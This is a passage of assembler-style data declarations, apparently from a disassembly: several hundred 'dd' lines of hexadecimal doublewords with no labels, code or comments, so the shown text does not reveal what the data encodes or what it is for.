		dd 11832000h, 0C09A715Bh, 52B5200Eh, 0F68BE2C0h, 3AD54016h
		dd 0C6170BB0h, 0E020DDFFh, 6B6F96CBh, 78769724h, 27F07104h
		dd 0C0773205h, 48ACDD60h, 0F5071D00h, 537A1192h, 4E163ED6h
		dd 0F68CB24h, 0CF600B2Ch, 29B61E81h, 8B76353Ch,	0E9AE93Eh
		dd 0A7098068h, 0A0BE3696h, 25CBECh, 936FA9F4h, 0CF30FCDDh
		dd 0A95E700h, 47FF096h,	4FDB0008h, 3ED17570h, 2B3C94DFh
		dd 30E817C8h, 9C093A03h, 9721A865h, 0F56B008Dh,	0BA9DDF01h
		dd 0F5FC1E5h, 6C238C00h, 0E27BDA29h, 0E02101FBh, 428CA42Ch
		dd 0B4B08209h, 0E05C32E8h, 0ABE5B3h, 0EC8AFF04h, 7446E1DAh
		dd 90D99B03h, 0C9CE09B8h, 72C59A91h, 26BF0860h,	3808B0DFh
		dd 25A4E980h, 0CDA97BF5h, 75D36C09h, 0D0A82062h, 1F6EDB5Ch
		dd 5F12485h, 90A74B41h,	0D87DCBA0h, 6AC13A12h, 0F84C5883h
		dd 94540E2h, 78FFA873h,	576DEA80h, 37006F19h, 6B5F7265h
		dd 87A9B5h, 689F3C2Bh, 30457CC6h, 3B3D5600h, 6B4D5EFCh
		dd 0E069005Bh, 40C179B2h, 0F2587A39h, 43CB00FCh, 0EC6F185Eh
		dd 0EDBC000Eh, 0DBFD88E2h, 2E0BAD1Dh, 80D7FE01h, 0C4191108h
		dd 0F7BA00D9h, 10B6AF16h, 38014C5Ah, 8EA93A7Fh,	0F0E81ED5h
		dd 4F1D0703h, 60E8FE2Ah, 0A763E232h, 5AA8FF00h,	40A121A3h
		dd 0A5F23ACFh, 836AB404h, 0FB7E8135h, 2407C49h,	5DCF203Ch
		dd 605439h, 6346B8BEh, 350025AEh, 65542192h, 23D4782h
		dd 80CFFAEDh, 0B5838611h, 76F022FFh, 95003C6Eh,	198DB7C6h
		dd 30DBBDD7h, 4560A18Ah, 524AA51Eh, 1BC6C00h, 0FE9E747Eh
		dd 0B6181B81h, 0B1C318A9h, 0EAE003C3h, 18A09D1Fh, 24A042A6h
		dd 71FA5ADCh, 0EBAD73Ah, 0E274C17h, 0C8962193h,	3D305E5Dh
		dd 0BE3F0086h, 120F7413h, 0C6007FA6h, 0D7D2E7DBh, 30FC9887h
		dd 0D6506DEFh, 0D0019D72h, 6E3D7C9Eh, 3C479A1Fh, 0C88149A1h
		dd 261100EBh, 99AED79Dh, 7C01B6DFh, 0D13FDE16h,	0A4514890h
		dd 7C3C5FC6h, 0E0BA440h, 0BBC5A9A8h, 0C73E9561h, 5A64414Bh
		dd 5314415Ch, 879FC4A9h, 50889A00h, 0CC1C4E31h,	79C37A18h
		dd 0A48A0352h, 5EBBEAB7h, 0F048E7C0h, 78C60100h, 89242618h
		dd 8A6A00ADh, 0CE218122h, 3B30544Bh, 0B647B953h, 281B1D08h
		dd 0AD7D4092h, 48C5D64Bh, 524E3F00h, 0F8A7EFA8h, 0B1A77D7h
		dd 0FA85574Ch, 2E65B480h, 8B034676h, 592655DAh,	0A5C11D9Bh
		dd 7A14061Eh, 700B1157h, 80C48744h, 0D7A1A9AAh,	0B408CC13h
		dd 6C1D7921h, 37C0F187h, 156456ADh, 509906BAh, 7853B167h
		dd 7A2FF09h, 984C13C9h,	0E839CC6h, 3D77F6DDh, 5908DEECh
		dd 8F0621C0h, 6BBA9Ch, 55CFA31Fh, 0A118C2A4h, 733152FCh
		dd 3E601044h, 5885E987h, 0AED130A3h, 9100D262h,	42D30FE4h
		dd 3B10E013h, 80004378h, 0DE8DDC7Ah, 4000F1EFh,	232D475h
		dd 369BD84h, 2A3F51F2h,	6ED0F512h, 2B00C75Dh, 0F06DD1F3h
		dd 7E97C979h, 95B7015Fh, 0FBB478FAh, 0D41AF127h, 1400285Eh
		dd 0E574EE20h, 3761BD8h, 9FF3624Bh, 180E6401h, 6365F485h
		dd 0E0F06992h, 4498BE7Ah, 0BC42CD6Fh, 8D88FA21h, 449645B7h
		dd 2384E924h, 0C190492h, 0F83D164h, 0ECB96471h,	8F378D01h
		dd 23EED0F9h, 0DC67B401h, 17AA16B8h, 0C6152180h, 9EA0AFE1h
		dd 81257A30h, 0E957ADA2h, 66CE3980h, 55164CEDh,	2F228B0Fh
		dd 117C005Eh, 0C449735Fh, 76F9F70h, 0E78362E5h,	786178E2h
		dd 9A0C305Fh, 816B6D21h, 2C9B1F0Eh, 6EA9C1A8h, 0C980917Ch
		dd 386F04E6h, 1C37F05Eh, 62C08081h, 6A8E07h, 2514BD96h
		dd 0AD90B0BEh, 0C4B91601h, 1723B16Eh, 3AC5F7F0h, 220CAA9Ch
		dd 74F92CDDh, 0E054A52Eh, 53161C1Dh, 3D4C4B0Eh,	3E218718h
		dd 0C9AE243Dh, 5FC200C6h, 259A1E5Bh, 1621FE60h,	12CB2D6h
		dd 0AAE292DBh, 0F0EF5349h, 0B9C3387Ch, 0C0D6AFC2h, 0EFD56FAh
		dd 670E1A52h, 0A0F1E101h, 85498184h, 7197EF7Fh,	0ED1100FBh
		dd 1BC26BCBh, 0FA198B2Bh, 4A0833A2h, 23F82180h,	4382E66Bh
		dd 48271D01h, 0D27B1165h, 0AF60CAF1h, 62591E3Eh, 84A51549h
		dd 680FDD0Dh, 50E9F0A8h, 1518A262h, 0A98C805Ch,	0A0FBCFDCh
		dd 1601694h, 0A0D54036h, 0F0722C6Eh, 6DF4DFA9h,	55D92301h
		dd 37777EB9h, 0B85489FFh, 0B64DD0h, 0C930932Dh,	4C692421h
		dd 3E732000h, 3FDB5358h, 0D2380080h, 0F3C00802h, 55005F27h
		dd 7D40548h, 0FA7EDCF0h, 53FAB6h, 6AE898B1h, 8852340Dh
		dd 73672B00h, 9CE7D16Ch, 0EFF83Dh, 9904334Ch, 0AEE9FB77h
		dd 13D54239h, 5601814Fh, 0BD3DA745h, 1F9EF7DCh,	79FE958h
		dd 60061B68h, 0E64B6C69h, 7199BD00h, 0D434D7FFh, 0D00E0341h
		dd 0C03603F6h, 8E3F0818h, 1CFD20h, 16089ED4h, 0EACD66Dh
		dd 0B700197Ch, 4E54EB99h, 0C2E44EDh, 121D4788h,	0FF0C3F58h
		dd 291626E6h, 587A00D1h, 384A9E21h, 423A9682h, 21CF30C3h
		dd 3B597556h, 8980DAB2h, 0E7DF301h, 400FE95h, 69D84793h
		dd 30058FE4h, 0EB9B7E9h, 0E662F4EDh, 0E37E9C20h, 0BC201E4Fh
		dd 1803DB92h, 3E78823h,	9E345877h, 0CC448044h, 486EB188h
		dd 9248A859h, 432F1F7Ah, 4D2DC0CAh, 0E13270A7h,	145D8900h
		dd 1DA127E4h, 0DBB20333h, 98F45C72h, 0B9B79807h, 0F120C811h
		dd 1DA323EFh, 0C22570Eh, 2C207275h, 0DBC34800h,	2049BCDh
		dd 0EABAF261h, 4D9418FBh, 0BC6D608Fh, 158B5412h, 501B4100h
		dd 265B7Dh, 74615E7Ch, 7FBDD368h, 72275C00h, 0D8BE63CCh
		dd 0D1C40FA5h, 4140B47Ch, 444C583Bh, 0B8F42538h, 824D0046h
		dd 308910EBh, 0B1230E6Ah, 5562F585h, 0CCC00E0Bh, 0C2008C28h
		dd 29D4705h, 0E4A32A2Ch, 0CEC73C07h, 1EE45100h,	508C9253h
		dd 0B7937F00h, 0E6BFD2AAh, 466F399Ch, 69F6A80h,	92BB193Dh
		dd 0C449F400h, 6E4B6516h, 0F27900D6h, 0A36B82C2h, 8D00300Ah
		dd 0FC77D331h, 3AE69552h, 0B9D891Dh, 2D48003Fh,	7ACB6A7Ch
		dd 6570B400h, 6CD5AC99h, 13C0137Fh, 427E00A0h, 3ABF2445h
		dd 831E4900h, 5A23EC30h, 306960DDh, 0B8629257h,	9CD93D03h
		dd 0CEFD16F0h, 50E50318h, 8639D210h, 97F21018h,	296508h
		dd 0CA17088Ch, 6637AE3Ch, 0DA07C600h, 1449FCA9h, 0D7E900B2h
		dd 5E87BBF6h, 378904Bh,	1C339E02h, 40AE8EEAh, 7D32EACh
		dd 8DAF2DF7h, 9B38E139h, 9AE8F8A0h, 771010DDh, 60121A00h
		dd 0D3BD4CB8h, 0E1C0CB3Ah, 43775A19h, 91A35D00h, 0D4B71E3Ah
		dd 0DE30AA84h, 2414B178h, 4E86387Fh, 9ABAD58Ch,	9B00E718h
		dd 18FCD833h, 1CA5E8D4h, 0C013686Dh, 9AD9B8C6h,	2800ADA8h
		dd 1892B673h, 733DCB0Fh, 115F488h, 99E2C58Ch, 4FE1781Ch
		dd 316AAC04h, 24106E77h, 1419808Dh, 3F4F8929h, 0A5E083h
		dd 6E945DFh, 1F97D2B3h,	46FC01Dh, 7F180F86h, 0A34C2029h
		dd 3E07C703h, 0A0AA19BDh, 5A76D0h, 0DE7D99FCh, 30E601CFh
		dd 45A16400h, 0A95781B4h
		dd 0C8F51F86h, 0C618C09Ch, 64603C34h, 0BC29E400h, 0B25A5967h
		dd 24EA0782h, 8E79027Dh, 0E120D300h, 0AE004643h, 453997D1h
		dd 0FADA7FE3h, 0DBBF00EAh, 0E67E8B88h, 0A50063B2h, 0F16880BBh
		dd 5B2BB3h, 17E7DD2Fh, 4A94658Fh, 43B5F300h, 0A4EA505Dh
		dd 3D870044h, 0A5F14055h, 6B01BF1Ah, 36D128D3h,	0FFF9C575h
		dd 0B531D0h, 0ECCD723h,	88A5141h, 0C3FA3200h, 0B6FDE3E7h
		dd 5E981FBFh, 0FCE60059h, 0C9C0F84Ch, 31CB321Fh, 1FAAEE0Eh
		dd 97005316h, 85E51898h, 0F8B43D22h, 0E9383005h, 1FFEC0AFh
		dd 2C1C3128h, 80401A91h, 1DBD6AF6h, 8CE950E4h, 14E70013h
		dd 9DA98542h, 761C5D84h, 3E00BC37h, 538FC966h, 0AAAB009Eh
		dd 24BEBAE3h, 82031FA2h, 1181C7DCh, 0E13EB8F2h,	0BD610719h
		dd 0C0EF55EBh, 0E2D11C27h, 1D85F312h, 97050C00h, 0F4CBAAF1h
		dd 29F3043h, 68C12540h,	0A226500h, 5675BAEEh, 5B1A1339h
		dd 0F9E600F7h, 304815D6h, 0B7A85C00h, 433CFA8Eh, 40964834h
		dd 3C2128h, 5DFCDBFEh, 3077CE05h, 8300B17Ah, 0E5B7484Bh
		dd 0A0434C75h, 4A1BBCh,	5FFC1A07h, 529449C7h, 0BC62C500h
		dd 0DED47A38h, 8FE90171h, 311ADFF4h, 1B74EC3Ch,	35ECDD01h
		dd 0EAF97F9Bh, 500B1180h, 8FBF1C30h, 7CF1EE03h,	0B08553CEh
		dd 1DF35ED5h, 3BE0B5DAh, 2EC0C30Fh, 6990F6C0h, 8019FCDh
		dd 997268Ch, 40C6E047h,	6729CA8h, 0D76C51B9h, 68F4F9E6h
		dd 0A74CCC00h, 0A4C63BE3h, 62560063h, 6EEED8A6h, 0ADF802E4h
		dd 0C48CCF00h, 0C65B74DDh, 7FBC0050h, 0B83EC964h, 1853B54Dh
		dd 7F800D0h, 7A062047h,	13403A9h, 216CF2C9h, 0DC8219E2h
		dd 682053F6h, 0AF5F19Ch, 38E372D7h, 0A31203B4h,	43C890CDh
		dd 6C0CD9B7h, 0B00AFD04h, 25F7C75h, 784E5118h, 0F48303A2h
		dd 0E6825E93h, 4DFDF083h, 0C0019D6h, 19D91FBEh,	0AC2C51h
		dd 27E6096Ch, 0B088CEBAh, 21229400h, 441E7A7Eh,	1B4101E7h
		dd 0EFA4FC07h, 5D18C0D2h, 9BF9DB05h, 8C405835h,	0AAC13B24h
		dd 48A54CA3h, 1F3D926h,	0DF9E350h, 72A982AFh, 44195D42h
		dd 0B9BD1704h, 94C500EBh, 5BEF45C1h, 18402300h,	6F6D473Dh
		dd 51130C3Bh, 55ECE180h, 0DDE28F00h, 3E81CCEBh,	7B0D03CDh
		dd 88355DB1h, 0BC308807h, 211033ADh, 24E95FFEh,	4199EB4h
		dd 0C0EDAFA9h, 4ED3F534h, 0D4440B05h, 6470E05Eh, 541746Bh
		dd 9DD9DD40h, 0BB7AC043h, 0C5035D72h, 90E67D68h, 0E10DC357h
		dd 0CC34AAA5h, 8C906Dh,	0BFDEC398h, 55349BF4h, 841F59C9h
		dd 0C49CBEC6h, 0E31A01CCh, 345F5D80h, 48B424BDh, 983D9943h
		dd 0E50FFFBBh, 0C1BC7A5Bh, 0A5FD3AA2h, 0E4DC4073h, 809DEB0Ah
		dd 945EB1DEh, 0F2402BFh, 0F3FC1883h, 454BED60h,	587DC00h
		dd 542BB77Ch, 79290BB0h, 0B106A262h, 342CDA22h,	0D98F3447h
		dd 83A60B97h, 6F0B6Dh, 29A18D68h, 4CE9AAE8h, 0F9BDA200h
		dd 0FA78915Dh, 467F33h,	0D16F9B75h, 6AB5FDD7h, 3B706548h
		dd 0DB011CE0h, 36AF1200h, 0E470B5Fh, 74B03B9Eh,	5510DC20h
		dd 435CC81Ch, 0E6EC00ACh, 0A419707h, 0E3A10259h, 0E5AB4A6h
		dd 622ADCC8h, 6DB05D02h, 4C2E0472h, 83292C30h, 97BB024Ch
		dd 40487F51h, 66694A07h, 11F40004h, 8076D5h, 4950EA2h
		dd 0EE7DAFDEh, 6CD13E04h, 6809CAAh, 0E0F3F59h, 0FC98E388h
		dd 0F2CCDE80h, 0B5005E9Bh, 0ED694871h, 0F8E212h, 0AD342311h
		dd 3BF12F47h, 0BF0742B8h, 3AA9DBACh, 91640130h,	49A47E76h
		dd 0F43CF017h, 8F224FEh, 3260104h, 24713E5Ah, 1B001830h
		dd 0A61D0BA0h, 0ABE67h,	40C758FEh, 9AE6063Bh, 0D276A0EAh
		dd 0C553520Ah, 0BE40BC79h, 65FF56h, 10A81891h, 38759795h
		dd 0E873721Eh, 7C492AC0h, 76BFDD25h, 0F1D40302h, 359F529Eh
		dd 0D904D0D4h, 0DE035B8Eh, 0C3A06E46h, 7369F0A2h, 7E3A0006h
		dd 623F394Dh, 7B2416C9h, 0FF01C4E4h, 8D7AE60Bh,	0F19C60h
		dd 8F4A50E1h, 0BA88C5A0h, 0B86B9616h, 0D2E20400h, 3E48322h
		dd 6E716319h, 32886CE0h, 3F005D1Fh, 0BDB9A4C1h,	0B3094Eh
		dd 0C74ABF5Eh, 716481A0h, 0AB01EA1Ch, 0DF8684C6h, 0E15A1E6Eh
		dd 0B1168397h, 11026A18h, 8E666261h, 0C279E077h, 4A26008Bh
		dd 32CCDADEh, 0FE3A185Ah, 2400D95Bh, 62855CD8h,	970C80h
		dd 0E079B002h, 433209h,	675DE5F2h, 8662475Eh, 0FBD58700h
		dd 4D7DB3Dh, 0C9605FEh,	0EE306Eh, 0A43B89CFh, 16009058h
		dd 0FE3404FCh, 0CB9C36Ch, 740672BFh, 893B2E70h,	345800B2h
		dd 79D09A65h, 0FABA0030h, 8CAD6822h, 0CEE4715h,	0E7A72D00h
		dd 75B40411h, 0AA3A0148h, 9521A8D3h, 1F96C89Dh,	0F10EEB02h
		dd 0E0A4804Ah, 9B93B30h, 0ED56124Ch, 0B29F10Ch,	73DC81Dh
		dd 6D5C09C0h, 5523B41h,	46A53FDBh, 9BB0C068h, 0DA00E595h
		dd 0FA9C05Bh, 1D2864FAh, 0CFF559EDh, 0EC05856Fh, 9FBC8076h
		dd 3D1F521Ah, 495CE2AEh, 1BAB62C0h, 94194527h, 91164Ch
		dd 7CFA117Ch, 0DE1D22DCh, 0B4AA751Ah, 3800555Ch, 4ABE938Ah
		dd 10076843h, 25D5B043h, 50ED78ECh, 0B1E8D4E3h,	0A91D4h
		dd 7DDB24B8h, 9CBFAh, 76525AECh, 49B7FE3Fh, 0A2AC4703h
		dd 0C8E5D790h, 416FF62h, 434B640h, 0CF74C878h, 7C95F900h
		dd 0FBB3ED7h, 0A1330020h, 0AA2BCC50h, 2F24101Dh, 0FB00D440h
		dd 5E8D7B57h, 0E6DB26A7h, 9E3200ECh, 0A2F44494h, 0C440D400h
		dd 0A5FEEEBDh, 667700ECh, 0CDD0C9E8h, 271FF80Eh, 0D1B01704h
		dd 0BF72ACh, 21B20D94h,	0D83E0FB1h, 16C2FC00h, 2A29C0AAh
		dd 3878C00Bh, 6D188A17h, 0D1820C99h, 3B3CEAh, 0E377472Eh
		dd 0D8260700h, 30FC7831h, 0F9DC05E8h, 8C234E16h, 0D3163728h
		dd 2063FEE9h, 6D6AE017h, 0FAD49878h, 0F9C5300Fh, 3860CF69h
		dd 1200BBB0h, 0BDEE3BADh, 0B20D996Eh, 6FEB096Ch, 0C0A095CDh
		dd 941BE76Dh, 4D45D51Eh, 98A1F380h, 2C19D414h, 15707B6Ch
		dd 0C508CC4h, 43D3B4Ah,	45D7C00Eh, 242C8DF2h, 5E1F449Ch
		dd 31802D18h, 48E79FA9h, 0F3F50B67h, 0C00762BFh, 0C598A8DDh
		dd 1FD0FC41h, 4188D9B4h, 7A8EA222h, 80BC63EEh, 45E0E401h
		dd 0E3A7501Dh, 11EE4FAh, 0FB2C6B16h, 0DCF02A83h, 595C10B5h
		dd 0F45300B2h, 0E8BCDA2Eh, 11AC0561h, 0D045A77Dh, 70418CACh
		dd 91D6FC78h, 6F4C4400h, 2F157BEh, 8668A92Fh, 74A807C4h
		dd 0F084C0C4h, 9EFFBAEEh, 3A801AF0h, 0FBDED7B9h, 80F80085h
		dd 647E1249h, 0C61D7436h, 54C76A0Eh, 0C7300A63h, 0AC4484Dh
		dd 43CF3AD9h, 908483E0h, 11F67D21h, 0BAFC4701h,	5B7264FFh
		dd 237B4ECh, 0AC6376D7h, 6C4005A3h, 0C4F8C632h,	823B41FEh
		dd 54A98011h, 7292A0A1h, 443B001Dh, 867BD4ADh, 6700F8EAh
		dd 0A9AFD9B1h, 0F22CD5h, 99549DE4h, 0CBED6FA2h,	20A70A12h
		dd 13051007h, 0D2B01720h, 623100AAh, 2B120D52h,	1B704198h
		dd 0FC7F7AE4h, 60B2A615h, 0BB790CACh, 7FFF400Bh, 127935h
		dd 4A108D18h, 0E9B265E6h, 82F028C6h, 4C3C0C69h,	2B19992Dh
		dd 2AA8EA06h, 10E638h, 611AA3E3h, 0F6D6834Fh, 0B60A8D00h
		dd 0D49B2C98h, 9FE00D7h, 3A1C12A6h, 0C51F601Dh,	14401F90h
		dd 0CFE4A308h, 2E050077h, 0E0DDBE59h, 2C16DAC5h, 0EA0ED375h
		dd 0F1DE0DFh, 0F127D6h,	56A3370Ch, 6BC0728Dh, 0B9468E07h
		dd 0CD30E66Eh, 4E2BCAh,	0BB173F0Dh, 0D29B70FBh,	209C48h
		dd 43285873h, 0F18CE8h,	3963406Ah, 9F1B5093h, 0D8291300h
		dd 0DA19B349h, 0FC2E03EEh
		dd 3EA44B2Ch, 6C9AE488h, 45003AE0h, 945BE063h, 224C957h
		dd 0B399650h, 7C53F888h, 44001012h, 4BEAC9FFh, 19D103DDh
		dd 715D7489h, 2CFA7588h, 15F9CD05h, 5484B654h, 3BDD9700h
		dd 397C6DE3h, 970009C6h, 5AD6B918h, 0CB7C58F9h,	99486507h
		dd 0F1701221h, 0E66D7h,	0A1BD9F62h, 910DB8E5h, 7B2D0400h
		dd 0CC47199Ch, 6F5D3CFDh, 0D1FEAA00h, 2171D674h, 72B76A14h
		dd 0E23A07DEh, 46E07A07h, 51668Fh, 2C24B6B3h, 7D0FC312h
		dd 89D47801h, 8D342CAh,	724ADCD0h, 554F3C25h, 340C1401h
		dd 0F4728784h, 0E4E6D789h, 0BE7F1D00h, 0C52B7AA2h, 8D9E006Ah
		dd 3F1AA15Ah, 79EA8471h, 4E008F77h, 0DE785D6Eh,	790B1CB2h
		dd 26820093h, 0AE0C95C2h, 6B00D8FEh, 308E1FDDh,	49E117h
		dd 0B181502Eh, 0D20992FBh, 7FE0CE00h, 28870DE7h, 0C720056h
		dd 8982186Ah, 0E800CF45h, 52CDEB0Fh, 0F115D38h,	0FCD30AEAh
		dd 3698BCE0h, 9B00A894h, 9276D867h, 61FB17Fh, 0A03D62DBh
		dd 41094073h, 0E74445Ch, 66CDE044h, 879482h, 25E0D1E2h
		dd 0D30831B9h, 0E5ADE700h, 75E4BCA6h, 13350036h, 88CDB5D8h
		dd 7900B71Ch, 0AE3A8025h, 34E5C0Eh, 18A2F19Ah, 0A2BFDC01h
		dd 0F4C0DAFBh, 3B01F6D0h, 35923D2Dh, 87307A36h,	7CA7663h
		dd 0A8F2EB79h, 1DC5E177h, 0CD3860CFh, 308C1F00h, 0FC918448h
		dd 0DC2100DEh, 0A8B9E75Dh, 5800C454h, 0E545EC1Fh, 2CFA9DA9h
		dd 0FC5363Dh, 2B00BD46h, 0A7B12DA3h, 5FBF5A00h,	9971F898h
		dd 9FB80047h, 41B2B6E6h, 9D00593Dh, 0A55B5240h,	0FC7EC2D8h
		dd 14AC001Fh, 0DE8783EFh, 630FE9DDh, 0C00F9C02h, 65D2CC94h
		dd 7D660C67h, 0C0E0DBD5h, 0AA638h, 89C582ADh, 0FB7DE2Bh
		dd 0F1185F3h, 10C362E1h, 3E27DC63h, 3DBE6600h, 0F8409778h
		dd 871E00F6h, 6D2CC519h, 59084892h, 14AD015Bh, 970398D5h
		dd 736FC2FAh, 0E1864AD0h, 9C398900h, 0D0C32285h, 504901C9h
		dd 0A6A5F790h, 9881E444h, 0F9BACE1Fh, 0E39F7300h, 222BF2h
		dd 757CA041h, 8FBC29C1h, 65EA8200h, 7A580C25h, 63B899h
		dd 6EA13459h, 268AB60Bh, 4049830Eh, 1EBD8071h, 65E5B2h
		dd 4CEC02D6h, 3D9E041Dh, 0F7D00600h, 7C3E2EB4h,	0C65D0059h
		dd 6B994777h, 0F0E53F6h, 0E0AA7F94h, 0F233CC57h, 0E3560767h
		dd 40CA2449h, 5FF5A117h, 0D79FC101h, 0B530B405h, 0B81DF0h
		dd 0AFDCBCFh, 6C5C3EAAh, 0FF60D000h, 0E9501507h, 3C7A31h
		dd 0ACB6DD1Bh, 3C4D7D6h, 4B2DDE1Dh, 0B9F56580h,	1D108CA9h
		dd 41F0338Dh, 0AFDBB5C2h, 5D97F87Ah, 0BD0064FCh, 403CE3F4h
		dd 1F7DD1Dh, 0A09C144Dh, 0F7597F56h, 0EE0569B8h, 0BC1D4C71h
		dd 80403591h, 265DF62Ch, 0ABF0492h, 8034BEB8h, 82D9DCE7h
		dd 0C8D3F00h, 0E953AAE7h, 473206B4h, 5CD4E0BAh,	0DEC0F400h
		dd 8C513AF7h, 0BD71C7Eh, 1B8780E9h, 0F99284B6h,	4170B200h
		dd 0B09A9995h, 0E0B8A00Ch, 0C937043Dh, 0F08B53CAh, 0F902F4A8h
		dd 816049Eh, 0D218E16Dh, 3A22D080h, 0A3437ADAh,	315D7500h
		dd 0CABF84A4h, 61340008h, 0BC965F36h, 58042AEAh, 6BC39A75h
		dd 0BE84E0h, 196C8A1Eh,	20D00CC8h, 2DCFF702h, 4866A09Fh
		dd 2609F5ECh, 30059E37h, 0CD342111h, 161846F8h,	9D292B40h
		dd 98952E8Eh, 8560007Ch, 15CE7C21h, 0CB1F96E8h,	4AC1C506h
		dd 0DC8A82C3h, 0CAAEC4h, 0CCDA5CFCh, 2D6DDB72h,	53A62500h
		dd 9D96F41Ah, 94721Bh, 47CFA24Fh, 0CB67DBE2h, 3FF89001h
		dd 9611FE1Ah, 0FF427180h, 7BCE8028h, 0FD7CB026h, 28E3050Ch
		dd 0FCD3E8EDh, 0FBA9C0C1h, 2B3D96E5h, 0FEDF0600h, 0FF40041Bh
		dd 0A05A1398h, 1CD080BCh, 30DDA63Eh, 4F274Fh, 978483C9h
		dd 1B4500E3h, 0B97A25F7h, 0D27B464Ah, 0A20F7496h, 5269B81Fh
		dd 1DE5EDFAh, 95B8F479h, 0E0977930h, 14C55E7h, 7AD0FDECh
		dd 606FB156h, 27008512h, 9DE28F4Eh, 0F010BAh, 86623FE6h
		dd 0A2805CC8h, 770EDB00h, 96C6EDABh, 0B6FE2A4h,	43258617h
		dd 0D78F048Fh, 8B630CE0h, 0DB763CE9h, 86890100h, 275DE720h
		dd 0C7460019h, 8CDD6677h, 0FF16E3D8h, 0BB856Ch,	1EF926EFh
		dd 0B800A874h, 55FB2C5Bh, 486853h, 9A40E841h, 68F4B38h
		dd 0C1E8627Ah, 75C2FF00h, 0F0E43FD9h, 89840053h, 0BD7161DDh
		dd 1F00B687h, 912CF6CEh, 3D3C204Fh, 5100E2E3h, 0A1102F52h
		dd 9300865Eh, 55178347h, 3A6A8Bh, 770232BFh, 513F5671h
		dd 0D0096C00h, 358F490Dh, 5A8100CCh, 0AEC299D7h, 0B3006474h
		dd 1DEC24FBh, 210907Ch,	2AE15A87h, 0F0C87B3Ah, 0BD12DEB9h
		dd 0B4001C4Bh, 6E9D33CBh, 100860D4h, 2982D643h,	0CE0034B9h
		dd 52FB0A40h, 653B1626h, 7954902Ah, 7E002E9Bh, 0F60FBA44h
		dd 46DCFE4h, 1574786h, 3FCA08Eh, 7782F70Dh, 0B0E0BA29h
		dd 90970113h, 5C0DCF27h, 7CDAD2E8h, 0AC1C5708h,	0BEBD013Fh
		dd 24CCF0ADh, 5C0E3D1Ch, 968C3857h, 709728C0h, 13840E7Bh
		dd 4860C1CCh, 0FF3CD4C0h, 81B2103Dh, 7E800C6Eh,	0D5ECB1ACh
		dd 3B0B003Eh, 6E8224Eh,	8400DC75h, 535681CDh, 98C0BDF4h
		dd 0B1760775h, 551F9110h, 8FEE00A0h, 57186B3Bh,	23732E73h
		dd 68BEB700h, 164A79D5h, 958A0377h, 0F02B1BB6h,	0F07857C7h
		dd 5A61DE72h, 0C7ADD000h, 0A53F0945h, 3048071Fh, 35602C3Ah
		dd 0CBE0016Bh, 60F6EA47h, 0D10001CEh, 0FFA99CACh, 3E91024Eh
		dd 0F800588Ah, 147A5A60h, 0A4A049DFh, 68000697h, 1FF7C5A5h
		dd 0A0108F43h, 92C7C0A8h, 643E1DB4h, 6E9C31Ah, 0E3B505D8h
		dd 32D0188h, 0CAB8D67Ah, 3325BDCh, 7CE04FF1h, 6821403Ah
		dd 0C467016Ch, 0F58D251Fh, 0C47E6151h, 39FC7FE2h, 891D541Fh
		dd 8D14681h, 0C3C8885Ah, 42B74B2Ah, 0C34E270h, 43000472h
		dd 61D456AAh, 1D65AE1Dh, 0C23E81BBh, 0BEB0CC19h, 33F2D850h
		dd 1F1D0B00h, 8E6A5154h, 881B1846h, 26A616A7h, 0D941B500h
		dd 2B09A5C1h, 27EE1E6Bh, 5F02F83Bh, 893DEC92h, 9661A06Ah
		dd 9F6760A0h, 88BE0B00h, 7AEC8B8Ch, 0C8DD006Bh,	2F18A9B8h
		dd 0C018FC9Ch, 0F4A87237h, 5BEE54h, 20843D8Ch, 8D39D3F0h
		dd 0D938BE30h, 0F8557DAh, 64A7807Ch, 9FB64921h,	4C9C50B1h
		dd 0E500A80Bh, 722779F0h, 3C10E5Ch, 0B680D420h,	0E8004028h
		dd 0C6DE11B5h, 1F0FCC8h, 0EA2B13A0h, 854E93F8h,	0BBBCAC89h
		dd 113D4CC0h, 0B823EA7Ch, 0A9EE0088h, 4A556537h, 4113EA12h
		dd 0C820951Bh, 2EC464h,	86C0181Ah, 8E72DDBBh, 5B00109Eh
		dd 0D08F85F6h, 9040380Eh, 1E55C600h, 394788F5h,	0DA35BA00h
		dd 0DBE2F98h, 0DBDF2DA2h, 9D564803h, 3CCD22C8h,	0BD9CA918h
		dd 1D4AACh, 0A32C18F4h,	650B5ADFh, 73F0374Ch, 32137501h
		dd 6155782Fh, 0F0E639F0h, 587CDCh, 0FB84BD92h, 9424BF5Eh
		dd 0D5CB3500h, 967818E0h, 9E97005Ah, 0E47D15E2h, 62039589h
		dd 3D69ECDDh, 0B855E04Dh, 7F447109h, 0E82B01EAh, 79F7E181h
		dd 2940E4D1h, 0A790F600h, 0FD13F808h, 122B3F0Fh, 0D67F5580h
		dd 5D27C3CBh, 1C1BD500h, 181EA319h, 97E00738h, 0E025793Ah
		dd 40BE2223h, 785D82FEh, 0E3510154h, 3517039Bh,	38A0D050h
		dd 4CF34922h, 564B7400h, 25ED9343h, 601A2658h, 27AD49E0h
		dd 1AE80762h, 0D661F554h, 3900D072h, 0CAEF24Ah,	440A09h
		dd 1D34D401h, 764E3A21h, 40809603h, 9077E804h, 0C397CBh
		dd 925DD02Fh, 9F4EECB7h, 73609CBAh, 0F1898B50h,	945B0070h
		dd 9E4EA29Bh, 5450A5E7h
		dd 5F00FD88h, 2EB7664h,	1F3DF8Bh, 0A1CED0B6h, 64E574C1h
		dd 9701DCD0h, 0E221F6C6h, 67E0479Ah, 5A1902B4h,	0A37AB891h
		dd 0A085C60h, 5C7D4601h, 0B04875A4h, 182056D8h,	1074F2FAh
		dd 5F1CAE55h, 0F000A9EFh, 9ACB3122h, 0B21B3D0Ah, 4224A580h
		dd 0C9B04DA7h, 3AA42D00h, 0A6D16EFFh, 941D0038h, 568C7FBBh
		dd 53268582h, 92006CF2h, 7BBDBC71h, 0C3E900B8h,	0A474B27Fh
		dd 0C1720250h, 590D6705h, 0BC07183Eh, 66C2EEC7h, 0E6144023h
		dd 52E33B72h, 8A6D24h, 92FE8659h, 9C00C496h, 0A12E4269h
		dd 0CF067A4Ch, 0F24530h, 48EE4BBEh, 0E90094A0h,	0D4DFF1D5h
		dd 315EF70h, 0CB753AF7h, 80AD05CDh, 7C939D7h, 193F1300h
		dd 0A606D4A4h, 0D630A9Dh, 4F8DA3Ch, 8051E357h, 1B36D009h
		dd 29936800h, 551A3EF5h, 42E10FBBh, 352014CDh, 68FE25A4h
		dd 0EE4A6600h, 7C5B7640h, 0F8F60086h, 4B772E9Eh, 0F71FF55Fh
		dd 0D2C3A05Eh, 9F8CD867h, 4437DBD0h, 19E9003Dh,	70C1D01Eh
